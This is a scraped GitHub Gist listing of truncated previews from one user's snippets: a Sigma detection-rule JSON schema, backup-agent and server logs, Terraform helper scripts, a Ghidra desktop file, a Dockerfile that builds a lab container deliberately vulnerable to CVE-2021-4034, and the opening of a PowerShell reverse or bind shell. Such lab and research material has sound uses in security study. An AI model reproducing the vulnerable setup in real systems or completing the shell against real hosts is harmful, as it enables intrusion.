Skip to content

Instantly share code, notes, and snippets.

@calebstewart
calebstewart / sigma.schema.json
Last active February 28, 2023 21:15
Sigma JSON Schema
View sigma.schema.json
{
"$schema": "https://json-schema.org/draft/2019-09/schema",
"$id": "http://example.com/example.json",
"type": "object",
"title": "Sigma Rule",
"required": [
"title",
"logsource",
"detection",
"id",
View cdp.log
[2022-Oct-30 21:20:43],[ INFO],[NO-CONNECTION],[AUTH],[192.168.122.95:43196],Matched public key file 'C:\Program Files\Server Backup Agent\conf\server.allow\sbm-server'
[2022-Oct-30 21:20:43],[ INFO],[192.168.122.95:43196],Agent Version 6.6.0.3360
[2022-Oct-30 21:20:43],[ INFO],[192.168.122.95:43196],Connection authenticated; Waiting for command.
[2022-Oct-30 21:20:43],[ INFO],[192.168.122.95:43196],Command completed; Waiting for next command.
[2022-Oct-30 21:20:43],[ INFO],[192.168.122.95:43196],Command completed; Waiting for next command.
[2022-Oct-30 21:20:52],[ INFO],[192.168.122.95:43196],Command completed; Waiting for next command.
[2022-Oct-30 21:20:52],[ INFO],[192.168.122.95:43196],Received request finished!
[2022-Oct-30 21:20:52],[ INFO],[NO-CONNECTION],Running request cleanup.
View server.log
2022-10-30 22:00:59,976 INFO [] - <UI> Host: 192.168.122.1; Imported CDPServer [Id:8beb2446-bdfe-41e5-8ce9-7ecbef7c1cc9] The MySQL database driver was uploaded successfully
2022-10-30 22:01:01,175 ERROR [] - An exception was caught by the default error page.
java.lang.IllegalStateException: Entity manager Factory is null
2022-10-30 22:01:20,345 INFO [] - AGENT(192.168.122.114): Agent Version 6.6.0.3360
2022-10-30 22:01:20,376 INFO [] - AGENT(192.168.122.114): Connection authenticated; Waiting for command.
2022-10-30 22:01:20,439 INFO [] - AGENT(192.168.122.114): Command completed; Waiting for next command.
2022-10-30 22:01:22,017 INFO [] - AGENT(192.168.122.114): Command completed; Waiting for next command.
2022-10-30 22:01:35,498 INFO [] - AGENT(192.168.122.232): Agent Version 6.6.0.3360
2022-10-30 22:01:35,529 INFO [] - AGENT(192.168.122.232): Connection authenticated; Waiting for command.
2022-10-30 22:01:35,576 INFO [] - AGENT(192.168.122.232): Command completed; Waiting for next comman
@calebstewart
calebstewart / README.md
Created August 30, 2022 18:25
Terraform External Python Script Framework
View README.md

Terraform External Python Script

The below example script handles most of the annoying parts of implementing the protocol between Python and Terraform when using the external resource type. In order to prevent required dependencies, this script only uses built-in Python modules for argument parsing and result serialization. It will current do the following:

  • Automatically parse and validate input arguments based on defined dataclass as defined by the Terraform protocol specification.
  • Automatically serialize output results based on defined dataclass
@calebstewart
calebstewart / archive.py
Last active March 25, 2023 17:45
Terraform ZIP External Archiver Script
View archive.py
import fnmatch
import json
import pathlib
import shutil
import sys
import zipfile
from datetime import datetime, timedelta
from typing import List
@calebstewart
calebstewart / Dockerfile
Last active February 4, 2022 20:45
CVE-2021-4034 Vulnerable Docker Container
View Dockerfile
FROM ubuntu:latest
ENV DEBIAN_FRONTEND=noninteractive
RUN apt -q update && \
apt -q -y install libpolkit-gobject-1-0=0.105-26ubuntu1 libpolkit-agent-1-0=0.105-26ubuntu1 policykit-1=0.105-26ubuntu1 curl ncat build-essential
RUN useradd -m -s /bin/bash low
WORKDIR /opt/
@calebstewart
calebstewart / shell.ps1
Created June 11, 2021 22:13
PowerShell Reverse or Bind Shell
View shell.ps1
function Start-Thread
{
param(
$ScriptBlock,
[System.Collections.ArrayList]$ArgumentList = @()
)
$Runspace = [RunspaceFactory]::CreateRunspace()
$PowerShell = [PowerShell]::Create()
$PowerShell.Runspace = $Runspace
@calebstewart
calebstewart / ghidra-9.0.desktop
Created March 9, 2019 15:51
Desktop File for Ghidra 9.0
View ghidra-9.0.desktop
[Desktop Entry]
Categories=Application;Development;
Comment[en_US]=Ghidra Software Reverse Engineering Suite
Comment=Ghidra Software Reverse Engineering Suite
Exec=/opt/ghidra/ghidraRun
GenericName[en_US]=Ghidra Software Reverse Engineering Suite
GenericName=Ghidra Software Reverse Engineering Suite
Icon=/opt/ghidra/support/ghidra.ico
MimeType=
Name[en_US]=Ghidra 9.0